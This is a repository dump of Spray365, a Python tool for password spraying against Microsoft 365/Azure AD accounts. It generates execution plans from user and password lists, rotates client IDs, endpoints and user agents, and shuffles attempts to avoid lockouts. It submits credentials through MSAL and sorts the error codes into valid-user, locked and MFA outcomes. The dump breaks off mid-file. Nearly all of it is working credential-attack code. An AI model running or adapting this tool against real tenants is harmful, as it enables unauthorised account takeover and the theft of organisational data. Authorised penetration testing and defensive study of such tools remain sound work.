├── screenshots ├── demo_review.png ├── demo_spray.png ├── demo_generate.png └── spray365_logo.png ├── requirements.txt ├── modules ├── generate │ ├── generate.py │ ├── configuration.py │ ├── modes │ │ ├── audit.py │ │ └── normal.py │ ├── options.py │ └── helpers.py ├── core │ ├── auth_error.py │ ├── auth_result.py │ ├── options │ │ └── utilities.py │ ├── credential.py │ ├── output │ │ └── console.py │ └── constants.py ├── review │ ├── helpers.py │ └── review.py └── spray │ ├── spray_exception_wrapper.py │ ├── helpers.py │ └── spray.py ├── .vscode └── launch.json ├── spray365.py ├── LICENSE ├── .gitignore └── README.md /screenshots/demo_review.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkoH17/Spray365/HEAD/screenshots/demo_review.png -------------------------------------------------------------------------------- /screenshots/demo_spray.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkoH17/Spray365/HEAD/screenshots/demo_spray.png -------------------------------------------------------------------------------- /screenshots/demo_generate.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkoH17/Spray365/HEAD/screenshots/demo_generate.png -------------------------------------------------------------------------------- /screenshots/spray365_logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkoH17/Spray365/HEAD/screenshots/spray365_logo.png -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | click==8.1.* 2 | click_option_group==0.5.* 3 | colorama==0.4.* 4 | msal==1.17.* 5 | urllib3~=2.5.0 6 | -------------------------------------------------------------------------------- /modules/generate/generate.py: -------------------------------------------------------------------------------- 1 | import click 2 | 3 | from modules.generate.modes import audit, normal 4 | 5 | 6 | @click.group("generate", help="Generate an execution plan to use for password spraying") 7 | def group(): 8 | pass 9 | 10 | 11 | group.add_command(audit.command) 12 | group.add_command(normal.command) 13 | -------------------------------------------------------------------------------- /modules/core/auth_error.py: -------------------------------------------------------------------------------- 1 | class AuthError: 2 | def __init__( 3 | self, 4 | timestamp: str, 5 | trace_id: str, 6 | correlation_id: str, 7 | message: str, 8 | code: int, 9 | raw_message=None, 10 | ): 11 | self.timestamp = timestamp 12 | self.trace_id = trace_id 13 | self.correlation_id = correlation_id 14 | self.message = message 15 | self.code = code 16 | self.raw_message = raw_message 17 | -------------------------------------------------------------------------------- /modules/review/helpers.py: -------------------------------------------------------------------------------- 1 | from modules.core.auth_error import AuthError 2 | from modules.core.auth_result import AuthResult 3 | from modules.core.credential import Credential 4 | 5 | 6 | def decode_auth_result_item(obj_dict): 7 | if "auth_complete_success" in obj_dict: 8 | return AuthResult(**obj_dict) 9 | elif "username" in obj_dict: 10 | return Credential(**obj_dict) 11 | elif "timestamp" in obj_dict: 12 | return AuthError(**obj_dict) 13 | else: 14 | return None 15 | -------------------------------------------------------------------------------- /.vscode/launch.json: -------------------------------------------------------------------------------- 1 | { 2 | // Use IntelliSense to learn about possible attributes. 3 | // Hover to view descriptions of existing attributes. 4 | // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387 5 | "version": "0.2.0", 6 | "configurations": [ 7 | { 8 | "name": "Python: Spray365", 9 | "type": "python", 10 | "request": "launch", 11 | "program": "spray365.py", 12 | "console": "integratedTerminal" 13 | } 14 | ] 15 | } -------------------------------------------------------------------------------- /modules/core/auth_result.py: -------------------------------------------------------------------------------- 1 | from modules.core.auth_error import AuthError 2 | from modules.core.credential import Credential 3 | 4 | 5 | class AuthResult: 6 | def __init__( 7 | self, 8 | credential: Credential, 9 | auth_complete_success=False, 10 | auth_partial_success=False, 11 | auth_error: AuthError = None, 12 | auth_token=None, 13 | ): 14 | self.credential = credential 15 | self.auth_complete_success = auth_complete_success 16 | self.auth_partial_success = auth_partial_success 17 | self.auth_error = auth_error 18 | self.auth_token = auth_token 19 | -------------------------------------------------------------------------------- /modules/core/options/utilities.py: -------------------------------------------------------------------------------- 1 | from __future__ import annotations 2 | 3 | import click 4 | 5 | 6 | def split_comma_separated_args(ctx: click.Context, param: str, value: any) -> list[str]: 7 | result = [] 8 | 9 | if value is None: 10 | return result 11 | 12 | for item in value.split(","): 13 | item = item.strip() 14 | if len(item) > 0: 15 | result.append(item) 16 | 17 | if len(result) < 1: 18 | raise click.BadOptionUsage( 19 | "Invalid comma-separated values specified for '%s' parameter" % param 20 | ) 21 | 22 | return result 23 | 24 | 25 | def add_options(options: list[any]): 26 | def _add_options(func): 27 | for option in reversed(options): 28 | func = option(func) 29 | return func 30 | 31 | return _add_options 32 | -------------------------------------------------------------------------------- /spray365.py: -------------------------------------------------------------------------------- 1 | import sys 2 | 3 | import click 4 | 5 | from modules.core.output import console 6 | from modules.generate import generate 7 | from modules.review import review 8 | from modules.spray import spray 9 | 10 | version = "0.2.3" 11 | 12 | 13 | @click.group(context_settings=dict(help_option_names=["-h", "--help"])) 14 | def cli(): 15 | pass 16 | 17 | 18 | def version_check(): 19 | if sys.version_info.major != 3: 20 | print("Spray365 requires Python 3") 21 | sys.exit(1) 22 | 23 | if sys.version_info.minor < 9: 24 | console.print_warning("Spray365 may not work on Python versions prior to 3.9") 25 | 26 | 27 | cli.add_command(spray.command) 28 | cli.add_command(generate.group) 29 | cli.add_command(review.command) 30 | 31 | if __name__ == "__main__": 32 | console.print_banner(version) 33 | version_check() 34 | cli(max_content_width=180) 35 | -------------------------------------------------------------------------------- /modules/core/credential.py: -------------------------------------------------------------------------------- 1 | from __future__ import annotations 2 | 3 | 4 | class Credential: 5 | def __init__( 6 | self, 7 | domain: str, 8 | username: str, 9 | password: str, 10 | client_id: tuple[str, str], 11 | endpoint: tuple[str, str], 12 | user_agent: str, 13 | delay: int, 14 | initial_delay: int = 0, 15 | ): 16 | self.domain: str = domain 17 | self.username: str = username 18 | self.password: str = password 19 | self.client_id: tuple[str, str] = client_id 20 | self.endpoint: tuple[str, str] = endpoint 21 | self.user_agent: str = user_agent 22 | self.delay: int = delay 23 | self.initial_delay: int = initial_delay 24 | 25 | @property 26 | def email_address(self) -> str: 27 | if self.username and self.domain: 28 | return "%s@%s" % (self.username, self.domain) 29 | else: 30 | return None 31 | -------------------------------------------------------------------------------- /modules/spray/spray_exception_wrapper.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import traceback 3 | 4 | import click 5 | 6 | from modules.core.output import console 7 | from modules.spray import helpers, spray 8 | 9 | 10 | class SprayExceptionWrapper(click.Command): 11 | def invoke(self, ctx: click.Context): 12 | try: 13 | return super(SprayExceptionWrapper, self).invoke(ctx) 14 | except (KeyboardInterrupt, Exception) as e: 15 | if isinstance(e, KeyboardInterrupt): 16 | sys.stdout.write("\b\b\r") 17 | sys.stdout.flush() 18 | console.print_info("Received keyboard interrupt") 19 | else: 20 | if sys.exc_info()[0]: 21 | print("An exception was raised: %s" % sys.exc_info()[0].__name__) 22 | else: 23 | print("An unknown exception was raised: %s" % sys.exc_info()) 24 | print("Stack trace from most recent exception:") 25 | traceback.print_exc() 26 | helpers.export_auth_results(spray.auth_results) 27 | sys.exit(1) 28 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 Mark Hedrick 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /modules/generate/configuration.py: -------------------------------------------------------------------------------- 1 | from __future__ import annotations 2 | 3 | import click 4 | 5 | 6 | class Configuration: 7 | def __init__(self, context: click.Context): 8 | # General Options 9 | self.execution_plan: click.File = None 10 | self.domain: str = None 11 | self.delay: int = None 12 | self.min_loop_delay: int = None 13 | 14 | # User Options 15 | self.user_file: str = None 16 | 17 | # Password Options 18 | self.password: str = None 19 | self.password_file: str = None 20 | self.passwords_in_userfile: bool = None 21 | 22 | # Authentication Options 23 | self.aad_client: list[str] = None 24 | self.aad_endpoint: list[str] = None 25 | 26 | # User Agent Options 27 | self.custom_user_agent: str = None 28 | self.random_user_agent: bool = None 29 | 30 | # Shuffle Options 31 | self.shuffle_auth_order: bool = None 32 | self.shuffle_optimization_attempts: int = None 33 | 34 | self._parse(context) 35 | 36 | def _parse(self, context: click.Context): 37 | for (param, param_value) in context.params.items(): 38 | if hasattr(self, param): 39 | setattr(self, param, param_value) 40 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | 2 | # Created by https://www.toptal.com/developers/gitignore/api/visualstudiocode,python 3 | # Edit at https://www.toptal.com/developers/gitignore?templates=visualstudiocode,python 4 | 5 | ### Python ### 6 | # Byte-compiled / optimized / DLL files 7 | __pycache__/ 8 | *.py[cod] 9 | *$py.class 10 | 11 | # C extensions 12 | *.so 13 | 14 | # Distribution / packaging 15 | .Python 16 | build/ 17 | develop-eggs/ 18 | dist/ 19 | downloads/ 20 | eggs/ 21 | .eggs/ 22 | lib/ 23 | lib64/ 24 | parts/ 25 | sdist/ 26 | var/ 27 | wheels/ 28 | share/python-wheels/ 29 | *.egg-info/ 30 | .installed.cfg 31 | *.egg 32 | MANIFEST 33 | 34 | # PyInstaller 35 | # Usually these files are written by a python script from a template 36 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 37 | *.manifest 38 | *.spec 39 | 40 | # Installer logs 41 | pip-log.txt 42 | pip-delete-this-directory.txt 43 | 44 | # Unit test / coverage reports 45 | htmlcov/ 46 | .tox/ 47 | .nox/ 48 | .coverage 49 | .coverage.* 50 | .cache 51 | nosetests.xml 52 | coverage.xml 53 | *.cover 54 | *.py,cover 55 | .hypothesis/ 56 | .pytest_cache/ 57 | cover/ 58 | 59 | # Translations 60 | *.mo 61 | *.pot 62 | 63 | # Django stuff: 64 | *.log 65 | local_settings.py 66 | db.sqlite3 67 | db.sqlite3-journal 68 | 69 | # Flask stuff: 70 | instance/ 71 | .webassets-cache 72 | 73 | # Scrapy stuff: 74 | .scrapy 75 | 76 | # Sphinx documentation 77 | docs/_build/ 78 | 79 | # PyBuilder 80 | .pybuilder/ 81 | target/ 82 | 83 | # Jupyter Notebook 84 | .ipynb_checkpoints 85 | 86 | # IPython 87 | profile_default/ 88 | ipython_config.py 89 | 90 | # pyenv 91 | # For a library or package, you might want to ignore these files since the code is 92 | # intended to run in multiple environments; otherwise, check them in: 93 | # .python-version 94 | 95 | # pipenv 96 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 97 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 98 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 99 | # install all needed dependencies. 100 | #Pipfile.lock 101 | 102 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow 103 | __pypackages__/ 104 | 105 | # Celery stuff 106 | celerybeat-schedule 107 | celerybeat.pid 108 | 109 | # SageMath parsed files 110 | *.sage.py 111 | 112 | # Environments 113 | .env 114 | .venv 115 | env/ 116 | venv/ 117 | ENV/ 118 | env.bak/ 119 | venv.bak/ 120 | 121 | # Spyder project settings 122 | .spyderproject 123 | .spyproject 124 | 125 | # Rope project settings 126 | .ropeproject 127 | 128 | # mkdocs documentation 129 | /site 130 | 131 | # mypy 132 | .mypy_cache/ 133 | .dmypy.json 134 | dmypy.json 135 | 136 | # Pyre type checker 137 | .pyre/ 138 | 139 | # pytype static type analyzer 140 | .pytype/ 141 | 142 | # Cython debug symbols 143 | cython_debug/ 144 | 145 | ### VisualStudioCode ### 146 | .vscode/* 147 | !.vscode/settings.json 148 | !.vscode/tasks.json 149 | !.vscode/launch.json 150 | !.vscode/extensions.json 151 | *.code-workspace 152 | 153 | # Local History for Visual Studio Code 154 | .history/ 155 | 156 | ### VisualStudioCode Patch ### 157 | # Ignore all local history of files 158 | .history 159 | .ionide 160 | 161 | # Support for Project snippet scope 162 | !.vscode/*.code-snippets 163 | 164 | # End of https://www.toptal.com/developers/gitignore/api/visualstudiocode,python 165 | -------------------------------------------------------------------------------- /modules/core/output/console.py: -------------------------------------------------------------------------------- 1 | import datetime 2 | import random 3 | import sys 4 | import typing 5 | 6 | import click 7 | from colorama import Fore 8 | 9 | 10 | def print_banner(version: str): 11 | 12 | possible_colors = [ 13 | Fore.CYAN, 14 | Fore.GREEN, 15 | Fore.RED, 16 | Fore.LIGHTBLUE_EX, 17 | Fore.LIGHTCYAN_EX, 18 | Fore.LIGHTGREEN_EX, 19 | Fore.LIGHTMAGENTA_EX, 20 | Fore.LIGHTRED_EX, 21 | Fore.LIGHTYELLOW_EX, 22 | ] 23 | 24 | colors = random.sample(possible_colors, 8) 25 | colors_tuple = tuple(colors) 26 | 27 | lines = [ 28 | "\n%s███████╗%s██████╗ %s██████╗ %s █████╗ %s██╗ ██╗%s██████╗ %s ██████╗ %s███████╗" 29 | % colors_tuple, 30 | "%s██╔════╝%s██╔══██╗%s██╔══██╗%s██╔══██╗%s╚██╗ ██╔╝%s╚════██╗%s██╔════╝ %s██╔════╝" 31 | % colors_tuple, 32 | "%s███████╗%s██████╔╝%s██████╔╝%s███████║%s ╚████╔╝ %s █████╔╝%s███████╗ %s███████╗" 33 | % colors_tuple, 34 | "%s╚════██║%s██╔═══╝ %s██╔══██╗%s██╔══██║%s ╚██╔╝ %s ╚═══██╗%s██╔═══██╗%s╚════██║" 35 | % colors_tuple, 36 | "%s███████║%s██║ %s██║ ██║%s██║ ██║%s ██║ %s██████╔╝%s ██████╔╝%s███████║" 37 | % colors_tuple, 38 | "%s╚══════╝%s╚═╝ %s╚═╝ ╚═╝%s╚═╝ ╚═╝%s ╚═╝ %s╚═════╝ %s ╚═════╝ %s╚══════╝" 39 | % colors_tuple, 40 | "%30sBy MarkoH17 (https://github.com/MarkoH17)" % colors[3], 41 | "%s%sVersion: %s\n%s" 42 | % ((" " * (57 - len(version))), colors[3], version, Fore.RESET), 43 | ] 44 | [click.echo(line) for line in lines] 45 | 46 | 47 | def print_info(message: str): 48 | _print_log("INFO", message, "bright_blue") 49 | 50 | 51 | def print_warning(message: str): 52 | _print_log("WARN", message, "yellow") 53 | 54 | 55 | def print_error(message: str, fatal: bool = True): 56 | print("\r", end="") 57 | _print_log("ERROR", message, "red") 58 | if fatal: 59 | sys.exit(1) 60 | 61 | 62 | def _print_log(level: str, message: str, color: str): 63 | output = "[%s - %s]: %s" % (get_time_str(), level, message) 64 | 65 | click.echo(click.style(output, fg=color)) 66 | 67 | 68 | # TODO: Replace typing.Union below with modern Union added in PEP 604 (Python 3.10+) 69 | def print_spray_output( 70 | spray_idx: int, 71 | spray_size: int, 72 | client_id: str, 73 | endpoint_id: str, 74 | user_agent: str, 75 | username: str, 76 | password: str, 77 | status_message: str, 78 | line_terminator: typing.Union[str, None], 79 | flush: bool, 80 | ): 81 | print( 82 | "%s[%s - SPRAY %s/%d] (%s%s%s->%s%s%s->%s%s%s): %s%s / %s%s %s%s" 83 | % ( 84 | Fore.LIGHTBLUE_EX, 85 | get_time_str(), 86 | str(spray_idx).zfill(len(str(spray_size))), 87 | spray_size, 88 | Fore.LIGHTRED_EX, 89 | user_agent, 90 | Fore.LIGHTBLUE_EX, 91 | Fore.LIGHTCYAN_EX, 92 | client_id, 93 | Fore.LIGHTBLUE_EX, 94 | Fore.LIGHTGREEN_EX, 95 | endpoint_id, 96 | Fore.LIGHTBLUE_EX, 97 | Fore.LIGHTMAGENTA_EX, 98 | username, 99 | Fore.LIGHTMAGENTA_EX, 100 | password, 101 | status_message, 102 | Fore.RESET, 103 | ), 104 | end=line_terminator, 105 | flush=flush, 106 | ) 107 | 108 | 109 | def get_time_str(): 110 | date_str = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S") 111 | return date_str 112 | -------------------------------------------------------------------------------- /modules/generate/modes/audit.py: -------------------------------------------------------------------------------- 1 | import json 2 | from typing import Callable 3 | 4 | import click 5 | from click_option_group import (AllOptionGroup, 6 | RequiredMutuallyExclusiveOptionGroup, optgroup) 7 | 8 | from modules.core import constants 9 | from modules.core.credential import Credential 10 | from modules.core.options.utilities import add_options 11 | from modules.core.output import console 12 | from modules.generate import helpers, options 13 | from modules.generate.configuration import Configuration 14 | 15 | 16 | @click.command( 17 | "audit", 18 | help="Generate an execution plan to identify flaws in MFA / Conditional Access Policies. This works best with with known credentials.", 19 | ) 20 | @click.pass_context 21 | @add_options(options.general_options) 22 | @optgroup.group("User options") 23 | @add_options(options.user_options) 24 | @optgroup.group("Password options", cls=RequiredMutuallyExclusiveOptionGroup) 25 | @add_options(options.password_options) 26 | @optgroup.group("Shuffle options", cls=AllOptionGroup) 27 | @add_options(options.shuffle_options) 28 | def command( 29 | ctx, 30 | execution_plan, 31 | domain, 32 | delay, 33 | min_loop_delay, 34 | user_file, 35 | password, 36 | password_file, 37 | passwords_in_userfile, 38 | shuffle_auth_order, 39 | shuffle_optimization_attempts, 40 | ): 41 | conf = Configuration(ctx) 42 | ctx.obj = conf 43 | 44 | helpers.check_if_execution_plan_exists(conf) 45 | 46 | if conf.passwords_in_userfile: 47 | users, passwords = helpers.get_users_and_passwords(conf) 48 | else: 49 | users = helpers.get_users(conf) 50 | passwords = helpers.get_passwords(conf) 51 | 52 | console.print_info( 53 | "Generating audit-mode execution plan from %d users and %d passwords" 54 | % (len(users), len(passwords)) 55 | ) 56 | 57 | console.print_warning( 58 | "Audit-mode execution plans contain permutations of all possible usernames, passwords, user-agents, aad_clients, and aad_endpoints" 59 | ) 60 | 61 | if conf.shuffle_auth_order and not conf.min_loop_delay: 62 | console.print_warning( 63 | "This random execution plan does not enforce a minimum cred loop delay (-mD / --min_cred_loop_delay). This may cause account lockouts!" 64 | ) 65 | 66 | client_ids = constants.client_ids 67 | endpoint_ids = constants.endpoint_ids 68 | user_agents = constants.user_agents 69 | 70 | raw_credentials = helpers.get_credential_products( 71 | conf, 72 | users, 73 | passwords, 74 | client_ids, 75 | endpoint_ids, 76 | user_agents, 77 | bool(conf.passwords_in_userfile), 78 | ) 79 | 80 | console.print_info( 81 | "Generated execution plan with %d credentials" % (len(raw_credentials)) 82 | ) 83 | 84 | if conf.shuffle_auth_order: 85 | credentials = helpers.get_shuffled_credentials(conf, raw_credentials) 86 | else: 87 | password_grouping_func: Callable[ 88 | [Credential], bool 89 | ] = lambda credential: credential.password 90 | credentials = helpers.get_credentials_dict_by_key( 91 | raw_credentials, password_grouping_func 92 | ) 93 | 94 | cred_execution_plan = [] 95 | 96 | for auth_cred_group in credentials.keys(): 97 | cred_execution_plan.extend(credentials[auth_cred_group]) 98 | 99 | json_execution_plan = json.dumps(cred_execution_plan, default=lambda o: o.__dict__) 100 | 101 | execution_plan.write(json_execution_plan) 102 | -------------------------------------------------------------------------------- /modules/generate/options.py: -------------------------------------------------------------------------------- 1 | import click 2 | from click_option_group import optgroup 3 | 4 | from modules.core.options.utilities import split_comma_separated_args 5 | 6 | general_options = [ 7 | click.option( 8 | "--execution_plan", 9 | "-ep", 10 | help="File path where execution plan should be saved", 11 | metavar="", 12 | type=click.File(mode="w"), 13 | required=True, 14 | ), 15 | click.option( 16 | "--domain", 17 | "-d", 18 | metavar="", 19 | type=str, 20 | help="Office 365 domain to authenticate against", 21 | required=True, 22 | ), 23 | click.option( 24 | "--delay", 25 | metavar="", 26 | type=int, 27 | help="Delay in seconds to wait between authentication attempts", 28 | default=30, 29 | show_default=True, 30 | ), 31 | click.option( 32 | "--min_loop_delay", 33 | "-mD", 34 | metavar="", 35 | type=int, 36 | help="Minimum time to wait between authentication attempts for a given user. This option takes into account the time one spray iteration will take, so a pre-authentication delay may not occur every time", 37 | default=0, 38 | show_default=True, 39 | ), 40 | ] 41 | 42 | user_options = [ 43 | optgroup.option( 44 | "--user_file", 45 | "-u", 46 | metavar="", 47 | type=click.File(mode="r"), 48 | help="File containing usernames to spray (one per line without domain)", 49 | required=True, 50 | ) 51 | ] 52 | 53 | password_options = [ 54 | optgroup.option("--password", "-p", metavar="", type=str, help="Password to spray"), 55 | optgroup.option( 56 | "--password_file", 57 | "-pf", 58 | metavar="", 59 | type=click.File(mode="r"), 60 | help="File containing passwords to spray (one per line)", 61 | ), 62 | optgroup.option( 63 | "--passwords_in_userfile", 64 | metavar="", 65 | is_flag=True, 66 | help="Extract passwords from user_file (colon separated)", 67 | ), 68 | ] 69 | 70 | shuffle_options = [ 71 | optgroup.option( 72 | "--shuffle_auth_order", 73 | "-S", 74 | metavar="", 75 | is_flag=True, 76 | help="Shuffle order of authentication attempts so that each iteration (User1:Pass1, Us" 77 | "er2:Pass1, User3:Pass1) will be sprayed in a random order with a random arrangem" 78 | "ent of passwords, e.g (User4:Pass16, User13:Pass25, User19:Pass40). Be aware thi" 79 | "s option introduces the possibility that the time between consecutive authentica" 80 | "tion attempts for a given user may occur DELAY seconds apart. Consider using the" 81 | "-mD/--min_loop_delay option to enforce a minimum delay between authenticati" 82 | "on attempts for any given user.", 83 | ), 84 | optgroup.option( 85 | "--shuffle_optimization_attempts", 86 | "-SO", 87 | metavar="", 88 | type=int, 89 | default=10, 90 | show_default=True, 91 | ), 92 | ] 93 | 94 | authentication_options = [ 95 | optgroup.option( 96 | "--aad_client", 97 | "-cID", 98 | metavar="", 99 | type=str, 100 | help="Client ID used during authentication. Leave unspecified for random selection, or provide a comma-separated string", 101 | callback=split_comma_separated_args, 102 | ), 103 | optgroup.option( 104 | "--aad_endpoint", 105 | "-eID", 106 | metavar="", 107 | type=str, 108 | help="Endpoint ID used during authentication. Leave unspecified for random selection, or provide a comma-separated string", 109 | callback=split_comma_separated_args, 110 | ), 111 | ] 112 | 113 | user_agent_options = [ 114 | optgroup.option( 115 | "--custom_user_agent", 116 | "-cUA", 117 | metavar="", 118 | type=str, 119 | help="Set custom user agent for authentication requests", 120 | ), 121 | optgroup.option( 122 | "--random_user_agent", 123 | "-rUA", 124 | metavar="", 125 | is_flag=True, 126 | help="Randomize user agent for authentication requests", 127 | default=True, 128 | show_default=True, 129 | ), 130 | ] 131 | -------------------------------------------------------------------------------- /modules/generate/modes/normal.py: -------------------------------------------------------------------------------- 1 | import json 2 | from typing import Callable 3 | 4 | import click 5 | from click_option_group import (AllOptionGroup, MutuallyExclusiveOptionGroup, 6 | RequiredMutuallyExclusiveOptionGroup, optgroup) 7 | 8 | from modules.core import constants 9 | from modules.core.credential import Credential 10 | from modules.core.options.utilities import add_options 11 | from modules.core.output import console 12 | from modules.generate import helpers, options 13 | from modules.generate.configuration import Configuration 14 | 15 | 16 | @click.command("normal", help="Generate a vanilla (normal) execution plan") 17 | @click.pass_context 18 | @add_options(options.general_options) 19 | @optgroup.group("User options") 20 | @add_options(options.user_options) 21 | @optgroup.group("Password options", cls=RequiredMutuallyExclusiveOptionGroup) 22 | @add_options(options.password_options) 23 | @optgroup.group("Authentication options") 24 | @add_options(options.authentication_options) 25 | @optgroup.group("User Agent options", cls=MutuallyExclusiveOptionGroup) 26 | @add_options(options.user_agent_options) 27 | @optgroup.group("Shuffle options", cls=AllOptionGroup) 28 | @add_options(options.shuffle_options) 29 | def command( 30 | ctx: click.Context, 31 | execution_plan, 32 | domain, 33 | delay, 34 | min_loop_delay, 35 | user_file, 36 | password, 37 | password_file, 38 | passwords_in_userfile, 39 | aad_client, 40 | aad_endpoint, 41 | custom_user_agent, 42 | random_user_agent, 43 | shuffle_auth_order, 44 | shuffle_optimization_attempts, 45 | ): 46 | conf = Configuration(ctx) 47 | ctx.obj = conf 48 | 49 | helpers.check_if_execution_plan_exists(conf) 50 | 51 | if conf.passwords_in_userfile: 52 | users, passwords = helpers.get_users_and_passwords(conf) 53 | else: 54 | users = helpers.get_users(conf) 55 | passwords = helpers.get_passwords(conf) 56 | 57 | console.print_info( 58 | "Generating execution plan from %d users and %d passwords" 59 | % (len(users), len(passwords)) 60 | ) 61 | 62 | if not conf.aad_client: 63 | console.print_info("Execution plan will use random AAD client IDs") 64 | client_ids = constants.client_ids 65 | else: 66 | console.print_info("Execution plan will use the provided AAD client ID(s)") 67 | client_ids = helpers.get_custom_aad_values("custom_cid_", conf.aad_client) 68 | 69 | if not conf.aad_endpoint: 70 | console.print_info("Execution plan will use random AAD endpoint IDs") 71 | endpoint_ids = constants.endpoint_ids 72 | else: 73 | console.print_info("Execution plan will use the provided AAD endpoint ID(s)") 74 | endpoint_ids = helpers.get_custom_aad_values("custom_eid_", conf.aad_endpoint) 75 | 76 | if conf.custom_user_agent: 77 | user_agents = {"custom_user_agent": conf.custom_user_agent} 78 | elif conf.random_user_agent: 79 | user_agents = constants.user_agents 80 | else: 81 | user_agents = {"default": list(constants.user_agents.values())[-1]} 82 | 83 | raw_credentials = helpers.get_credentials( 84 | conf, 85 | users, 86 | passwords, 87 | client_ids, 88 | endpoint_ids, 89 | user_agents, 90 | bool(conf.passwords_in_userfile), 91 | ) 92 | 93 | console.print_info( 94 | "Generated execution plan with %d credentials" % (len(raw_credentials)) 95 | ) 96 | 97 | if conf.shuffle_auth_order: 98 | if not conf.min_loop_delay: 99 | console.print_warning( 100 | "This random execution plan does not enforce a minimum cred loop delay (-mD / --min_cred_loop_delay). This may cause account lockouts!" 101 | ) 102 | credentials = helpers.get_shuffled_credentials(conf, raw_credentials) 103 | else: 104 | password_grouping_func: Callable[ 105 | [Credential], bool 106 | ] = lambda credential: credential.password 107 | credentials = helpers.get_credentials_dict_by_key( 108 | raw_credentials, password_grouping_func 109 | ) 110 | 111 | cred_execution_plan = [] 112 | 113 | for auth_cred_group in credentials.keys(): 114 | cred_execution_plan.extend(credentials[auth_cred_group]) 115 | 116 | json_execution_plan = json.dumps(cred_execution_plan, default=lambda o: o.__dict__) 117 | 118 | with execution_plan.open() as ep_file: 119 | ep_file.write(json_execution_plan) 120 | -------------------------------------------------------------------------------- /modules/spray/helpers.py: -------------------------------------------------------------------------------- 1 | from __future__ import annotations 2 | 3 | import datetime 4 | import json 5 | import warnings 6 | 7 | from msal import PublicClientApplication 8 | 9 | from modules.core import constants 10 | from modules.core.auth_error import AuthError 11 | from modules.core.auth_result import AuthResult 12 | from modules.core.credential import Credential 13 | from modules.core.output import console 14 | 15 | warnings.filterwarnings("ignore") 16 | 17 | 18 | def decode_execution_plan_item(credential_dict): 19 | return Credential(**credential_dict) 20 | 21 | 22 | def authenticate_credential( 23 | credential: Credential, proxy: str, insecure: bool = False 24 | ) -> AuthResult: 25 | proxies = None 26 | if proxy: 27 | proxies = { 28 | "http": proxy, 29 | "https": proxy, 30 | } 31 | if insecure: 32 | auth_app = PublicClientApplication( 33 | credential.client_id[1], 34 | authority="https://login.microsoftonline.com/organizations", 35 | proxies=proxies, 36 | verify=False, 37 | ) 38 | else: 39 | auth_app = PublicClientApplication( 40 | credential.client_id[1], 41 | authority="https://login.microsoftonline.com/organizations", 42 | proxies=proxies, 43 | ) 44 | 45 | if credential.user_agent: 46 | # TODO: Find official way to influence user-agent in future versions of msal 47 | auth_app.authority._http_client._http_client.headers[ 48 | "User-Agent" 49 | ] = credential.user_agent[1] 50 | 51 | scope = "%s/.default" % credential.endpoint[1] 52 | raw_result = auth_app.acquire_token_by_username_password( 53 | username=credential.email_address, password=credential.password, scopes=[scope] 54 | ) 55 | 56 | auth_result = process_raw_auth_result(credential, raw_result) 57 | return auth_result 58 | 59 | 60 | def process_raw_auth_result( 61 | credential: Credential, raw_result: dict[str] 62 | ) -> AuthResult: 63 | auth_complete_success = False 64 | auth_partial_success = False 65 | auth_error: AuthError = None 66 | auth_token: str = None 67 | 68 | if "error_codes" in raw_result: 69 | if any( 70 | error_code in raw_result["error_codes"] 71 | for error_code in constants.auth_complete_success_error_codes 72 | ): 73 | auth_complete_success = True 74 | raw_result.pop("error") # remove the error 75 | elif any( 76 | error_code in raw_result["error_codes"] 77 | for error_code in constants.auth_partial_success_error_codes 78 | ): 79 | auth_partial_success = True 80 | auth_error = get_auth_error(raw_result) 81 | else: 82 | auth_complete_success = True 83 | auth_token = raw_result 84 | 85 | return AuthResult( 86 | credential, auth_complete_success, auth_partial_success, auth_error, auth_token 87 | ) 88 | 89 | 90 | def get_auth_error(raw_auth_result: dict[str]) -> AuthError: 91 | error_codes: dict[int] = raw_auth_result["error_codes"] 92 | error_code = error_codes[0] 93 | 94 | message = None 95 | 96 | timestamp = raw_auth_result["timestamp"] if "timestamp" in raw_auth_result else None 97 | trace_id = raw_auth_result["trace_id"] if "trace_id" in raw_auth_result else None 98 | correlation_id = ( 99 | raw_auth_result["correlation_id"] 100 | if "correlation_id" in raw_auth_result 101 | else None 102 | ) 103 | raw_error_message = ( 104 | raw_auth_result["error_description"] 105 | if "error_description" in raw_auth_result 106 | else None 107 | ) 108 | 109 | if error_code == 50034: 110 | message = "User not found" 111 | elif error_code == 50053: 112 | message = "Account locked" 113 | elif error_code == 50055: 114 | message = "Account password expired" 115 | elif error_code == 50057: 116 | message = "Account disabled" 117 | elif error_code == 50158: 118 | message = "External validation failed (is there a conditional access policy?)" 119 | elif error_code == 50076: 120 | message = "Multi-Factor Authentication Required" 121 | elif error_code == 50126: 122 | message = "Invalid 